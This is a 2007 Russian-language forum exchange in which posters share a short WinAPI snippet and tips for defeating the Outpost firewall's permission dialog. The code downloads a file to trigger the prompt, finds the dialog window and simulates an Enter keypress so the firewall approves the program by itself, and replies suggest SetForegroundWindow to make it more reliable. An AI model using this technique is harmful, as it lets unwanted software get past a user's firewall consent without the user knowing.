
01.10.2007, 15:24
|
|
Новичок
Регистрация: 03.09.2006
Сообщений: 4
Провел на форуме: 22813
Репутация:
1
|
|
groundhog
я не понял при чём тут обход фаеров?
Обдумав 30 секунд набросал:
PHP код:
URLDownloadToFile(NULL, "http://url.succes.txt", "succes.txt", 0, NULL); //дразним оутпост
HWND hWnd;
hWnd = FindWindow("#32770", NULL); //находим окно создания правила
//для нового приложения
if (IsWindow(hWnd))
{
keybd_event(VK_RETURN,0,0,0);
//создаем правило:),по умолчанию задает ему как Web
//браузер.поэтому достаточно 1 нажатия :))
}
Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать  )
Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка.
Спасибо учту.Я не люблю отмазываться  .
так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow.
Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться
LEE_ROY
попробуй SetForegroundWindow
Спасибо пошел искать инфу.
|
|
|